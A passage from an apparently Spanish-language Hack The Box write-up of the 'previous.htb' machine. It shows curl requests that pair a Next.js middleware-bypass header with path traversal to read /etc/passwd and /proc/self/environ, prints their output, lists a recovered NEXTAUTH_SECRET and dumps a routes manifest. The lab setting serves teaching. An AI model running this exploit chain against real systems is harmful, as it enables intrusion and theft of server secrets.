&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connected to previous.htb &lt;span style="color:#f92672"&gt;(&lt;/span&gt;10.10.11.83&lt;span style="color:#f92672"&gt;)&lt;/span&gt; port &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* using HTTP/1.x
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; GET /api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../etc/passwd HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Host: previous.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; User-Agent: curl/8.13.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Request completely sent off
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; HTTP/1.1 &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Server: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Date: Tue, &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt; Sep &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; 11:33:47 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Type: application/zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Length: &lt;span style="color:#ae81ff"&gt;787&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Disposition: attachment; filename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;passwd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; ETag: &lt;span style="color:#e6db74"&gt;&amp;#34;41amqg1v4m26j&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root:x:0:0:root:/root:/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bin:x:1:1:bin:/bin:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daemon:x:2:2:daemon:/sbin:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sync:x:5:0:sync:/sbin:/bin/sync
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;halt:x:7:0:halt:/sbin:/sbin/halt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mail:x:8:12:mail:/var/mail:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;news:x:9:13:news:/usr/lib/news:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp:x:21:21::/var/lib/ftp:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sshd:x:22:22:sshd:/dev/null:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;games:x:35:35:games:/usr/games:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntp:x:123:123:NTP:/var/empty:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;guest:x:405:100:guest:/dev/null:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nobody:x:65534:65534:nobody:/:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;node:x:1000:1000::/home/node:/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connection &lt;span style="color:#75715e"&gt;#0 to host previous.htb left intact&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Variables de entorno&lt;/p&gt;
&lt;p&gt;Se revisó &lt;code&gt;/proc/self/environ&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ curl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../proc/self/environ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware&amp;#34;&lt;/span&gt; -v --output env
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; % Total % Received % Xferd Average Speed Time Time Time Current
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Dload Upload Total Spent Left Speed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; --:--:-- --:--:-- --:--:-- 0* Host previous.htb:80 was resolved.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv6: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;none&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv4: 10.10.11.83
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Trying 10.10.11.83:80...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connected to previous.htb &lt;span style="color:#f92672"&gt;(&lt;/span&gt;10.10.11.83&lt;span style="color:#f92672"&gt;)&lt;/span&gt; port &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* using HTTP/1.x
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; GET /api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../../proc/self/environ HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Host: previous.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; User-Agent: curl/8.13.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Request completely sent off
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; HTTP/1.1 &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Server: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Date: Tue, &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt; Sep &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt; 11:37:25 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Type: application/zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Length: &lt;span style="color:#ae81ff"&gt;216&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; Content-Disposition: attachment; filename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;environ&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; ETag: &lt;span style="color:#e6db74"&gt;&amp;#34;151dqoq1n56jy&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;216&lt;/span&gt; bytes data&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;216&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;216&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;517&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; --:--:-- --:--:-- --:--:-- &lt;span style="color:#ae81ff"&gt;519&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Connection &lt;span style="color:#75715e"&gt;#0 to host previous.htb left intact&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NODE_VERSION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;18.20.8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOSTNAME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0.0.0.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;YARN_VERSION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1.22.22
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SHLVL&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/home/nextjs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PATH&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NEXT_TELEMETRY_DISABLED&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PWD&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/app
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NODE_ENV&lt;span style="color:#f92672"&gt;=&lt;/span&gt;production
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="búsqueda-en-app-nextjs"&gt;Búsqueda en /app (Next.js)&lt;/h3&gt;
&lt;p&gt;Con el LFI se fue explorando el directorio de la aplicación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80c6-91d1-f535ca622761.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8062-a47c-e67e4d9b00e1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80d9-8ac1-ee8576be767b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Se localizó:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NEXTAUTH_SECRET:82a464f1c3509a81d5c973c31a23c61a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Además, se obtuvo un fichero &lt;code&gt;app&lt;/code&gt; con configuración/rutas de Next.js:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ cat app
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;: 3,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;pages404&amp;#34;&lt;/span&gt;: true,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;caseSensitive&amp;#34;&lt;/span&gt;: false,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;basePath&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;redirects&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;source&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/:path+/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;destination&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/:path+&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;internal&amp;#34;&lt;/span&gt;: true,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;statusCode&amp;#34;&lt;/span&gt;: 308,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;headers&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;dynamicRoutes&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/api/auth/[...nextauth]&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/api/auth/(.+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPnextauth&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPnextauth&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/api/auth/(?&amp;lt;nxtPnextauth&amp;gt;.+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/[section]&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/([^/]+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPsection&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;nxtPsection&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/(?&amp;lt;nxtPsection&amp;gt;[^/]+?)(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;staticRoutes&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namedRegex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;page&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/docs/components/layout&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;regex&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;^/docs/components/layout(?:/)?&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;routeKeys&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
